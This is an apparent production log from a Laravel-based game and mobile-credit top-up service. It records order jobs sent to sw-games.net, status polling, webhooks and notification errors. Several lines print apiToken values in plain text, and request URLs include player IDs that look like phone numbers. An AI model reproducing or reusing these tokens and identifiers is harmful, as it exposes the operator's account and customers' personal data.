[2026-03-24 22:49:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 22:49:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 22:49:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 22:49:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 22:49:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 22:49:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 22:49:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 22:49:58] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 22:49:58] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18725,"user_id":500,"amount":190.0,"admins_notified":7} 
[2026-03-24 22:50:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01"} 
[2026-03-24 22:50:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","total_operations":3,"sites_count":2} 
[2026-03-24 22:50:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-wgI-1774379855","ORD-zZL4-1774381780"]} 
[2026-03-24 22:50:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:50:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 22:50:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367} 
[2026-03-24 22:50:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 22:50:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 22:50:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"count":1} 
[2026-03-24 22:50:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"count":1} 
[2026-03-24 22:50:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"user_id":302,"notification_type":"order_approved","reference_id":179462} 
[2026-03-24 22:50:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:50:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:50:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"processed":1,"errors":0} 
[2026-03-24 22:50:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"processed":1,"errors":0} 
[2026-03-24 22:50:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"orders_count":1,"order_ids":["ORD-C9Gch-1774381682"]} 
[2026-03-24 22:50:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367} 
[2026-03-24 22:50:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"orders_count":1} 
[2026-03-24 22:50:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-C9Gch-1774381682","operation_id":164365,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 22:50:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-C9Gch-1774381682","operation_id":164365,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 22:50:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-C9Gch-1774381682","operation_id":164365,"count":1} 
[2026-03-24 22:50:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-C9Gch-1774381682","operation_id":164365,"count":1} 
[2026-03-24 22:50:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-C9Gch-1774381682","operation_id":164365,"user_id":587,"notification_type":"order_approved","reference_id":179496} 
[2026-03-24 22:50:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-C9Gch-1774381682","operation_id":164365,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:50:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-C9Gch-1774381682","operation_id":164365,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:50:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-C9Gch-1774381682","operation_id":164365,"processed":1,"errors":0} 
[2026-03-24 22:50:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-C9Gch-1774381682","operation_id":164365,"processed":1,"errors":0} 
[2026-03-24 22:50:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Dr6MEqlzbkpJyTf2IWLjfdGsflBt5wTw","execution_time":"2026-03-24 22:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-C9Gch-1774381682","operation_id":164365} 
[2026-03-24 22:50:01] production.INFO: Executing GetProducts task...  
[2026-03-24 22:50:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 22:50:01] production.INFO: Executing GetProducts task...  
[2026-03-24 22:50:03] production.INFO: async() رجع: true  
[2026-03-24 22:50:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 22:50:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 22:50:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 22:50:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 22:50:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 22:50:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 22:50:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 22:50:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 22:50:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 22:50:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 22:50:05] production.INFO: Constructing job for order: 179499  
[2026-03-24 22:50:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 22:50:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 302  
[2026-03-24 22:50:06] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 22:50:07] production.INFO: Handling job for order: 179499  
[2026-03-24 22:50:07] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:50:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:50:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=aa355d77-5a3d-49e8-99de-3277bd937465&Player_ID=0964769756  
[2026-03-24 22:50:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=aa355d77-5a3d-49e8-99de-3277bd937465&Player_ID=0964769756","has_body":false} 
[2026-03-24 22:50:07] production.INFO: Operation sent successfully {"operation_id":164368,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-4KyS-1774381807","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 22:50:07"}},"processed_data":{"order_number":"ORD-4KyS-1774381807","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 22:51:01] production.INFO: Constructing job for order: 179500  
[2026-03-24 22:51:02] production.INFO: Handling job for order: 179500  
[2026-03-24 22:51:02] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:51:02] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:51:02] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=e1dc4b50-ce6c-42ca-bf47-9496c40dced8&Player_ID=%E2%80%AA%E2%80%AA0965+490+896%E2%80%AC%E2%80%AC  
[2026-03-24 22:51:02] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=e1dc4b50-ce6c-42ca-bf47-9496c40dced8&Player_ID=%E2%80%AA%E2%80%AA0965+490+896%E2%80%AC%E2%80%AC","has_body":false} 
[2026-03-24 22:51:02] production.ERROR: ❌ Missing required field: order_number for site: swgamessls {"available_fields":["error","message",0],"required_fields":["order_number","amount","status"]} 
[2026-03-24 22:51:02] production.ERROR: 🚨 Failed to reject order on parse error {"operation_id":164369,"exception":"Unknown named parameter $userId"} 
[2026-03-24 22:51:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1070  
[2026-03-24 22:51:25] production.INFO: Constructing job for order: 179501  
[2026-03-24 22:51:26] production.INFO: Handling job for order: 179501  
[2026-03-24 22:51:26] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:51:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:51:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=490d5531-84f2-468a-8939-ed90acaa68e6&Player_ID=%E2%80%AA%E2%80%AA0965+490+896%E2%80%AC%E2%80%AC  
[2026-03-24 22:51:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/6/params?qty=1&uuid=490d5531-84f2-468a-8939-ed90acaa68e6&Player_ID=%E2%80%AA%E2%80%AA0965+490+896%E2%80%AC%E2%80%AC","has_body":false} 
[2026-03-24 22:51:26] production.ERROR: ❌ Missing required field: order_number for site: swgamessls {"available_fields":["error","message",0],"required_fields":["order_number","amount","status"]} 
[2026-03-24 22:51:26] production.ERROR: 🚨 Failed to reject order on parse error {"operation_id":164370,"exception":"Unknown named parameter $userId"} 
[2026-03-24 22:51:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1070  
[2026-03-24 22:52:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02"} 
[2026-03-24 22:52:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","total_operations":2,"sites_count":2} 
[2026-03-24 22:52:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-zZL4-1774381780"]} 
[2026-03-24 22:52:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:52:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:52:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 22:52:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 22:52:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"count":1} 
[2026-03-24 22:52:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"count":1} 
[2026-03-24 22:52:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"user_id":645,"notification_type":"order_approved","reference_id":179498} 
[2026-03-24 22:52:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:52:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:52:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"processed":1,"errors":0} 
[2026-03-24 22:52:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"processed":1,"errors":0} 
[2026-03-24 22:52:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"orders_count":1,"order_ids":["ORD-4KyS-1774381807"]} 
[2026-03-24 22:52:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367} 
[2026-03-24 22:52:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zZL4-1774381780","operation_id":164367,"orders_count":1} 
[2026-03-24 22:52:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4KyS-1774381807","operation_id":164368,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 22:52:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4KyS-1774381807","operation_id":164368,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 22:52:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4KyS-1774381807","operation_id":164368,"count":1} 
[2026-03-24 22:52:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4KyS-1774381807","operation_id":164368,"count":1} 
[2026-03-24 22:52:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4KyS-1774381807","operation_id":164368,"user_id":587,"notification_type":"order_approved","reference_id":179499} 
[2026-03-24 22:52:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4KyS-1774381807","operation_id":164368,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:52:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4KyS-1774381807","operation_id":164368,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:52:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4KyS-1774381807","operation_id":164368,"processed":1,"errors":0} 
[2026-03-24 22:52:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4KyS-1774381807","operation_id":164368,"processed":1,"errors":0} 
[2026-03-24 22:52:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"iagDxy4aEXNecOmQPXcEKosNkYbkroE0","execution_time":"2026-03-24 22:52:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-4KyS-1774381807","operation_id":164368} 
[2026-03-24 22:52:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 645  
[2026-03-24 22:52:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-zZL4-1774381780","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:52:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-zZL4-1774381780","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:52:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:52:02] production.ERROR: Order not found or already processed. External ID: ORD-zZL4-1774381780  
[2026-03-24 22:52:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-zZL4-1774381780","status":"completed","codes_count":0} 
[2026-03-24 22:52:04] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 22:52:13] production.INFO: Constructing job for order: 179502  
[2026-03-24 22:52:16] production.INFO: Handling job for order: 179502  
[2026-03-24 22:52:16] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:52:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:52:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/97/params?qty=2000&uuid=5396d3a4-048e-4dd8-83b4-cc80d504dfe9&Player_ID=821455524  
[2026-03-24 22:52:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/97/params?qty=2000&uuid=5396d3a4-048e-4dd8-83b4-cc80d504dfe9&Player_ID=821455524","has_body":false} 
[2026-03-24 22:52:17] production.INFO: Operation sent successfully {"operation_id":164371,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-oCUF-1774381937","amount":2.088558600000000264884647549479268491268157958984375,"status":"processing","product":"PartyStar Amount","game":"PartyStar","notes":[],"created_at":"2026-03-24 22:52:17"}},"processed_data":{"order_number":"ORD-oCUF-1774381937","amount":2.088558600000000264884647549479268491268157958984375,"status":"processing","product":"PartyStar Amount","game":"PartyStar"}} 
[2026-03-24 22:52:52] production.INFO: Constructing job for order: 179503  
[2026-03-24 22:52:53] production.INFO: Handling job for order: 179503  
[2026-03-24 22:52:53] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:52:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:52:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=adab0dbc-3f69-47e0-953d-28adb14550d0&Player_ID=52156517544  
[2026-03-24 22:52:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=adab0dbc-3f69-47e0-953d-28adb14550d0&Player_ID=52156517544","has_body":false} 
[2026-03-24 22:52:54] production.INFO: Operation sent successfully {"operation_id":164372,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-RcXOBo-1774381974","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:52:54"}},"processed_data":{"order_number":"ORD-RcXOBo-1774381974","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 22:53:12] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-RcXOBo-1774381974","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:53:12] production.INFO: Processed webhook data (normalized) {"id":"ORD-RcXOBo-1774381974","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:53:12] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:53:12] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179503} 
[2026-03-24 22:53:12] production.INFO: Order updated successfully. Order ID: 179503, Status: completed  
[2026-03-24 22:53:12] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-RcXOBo-1774381974","status":"completed","codes_count":0} 
[2026-03-24 22:53:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 22:53:17] production.INFO: Constructing job for order: 179504  
[2026-03-24 22:53:18] production.INFO: Handling job for order: 179504  
[2026-03-24 22:53:18] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:53:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
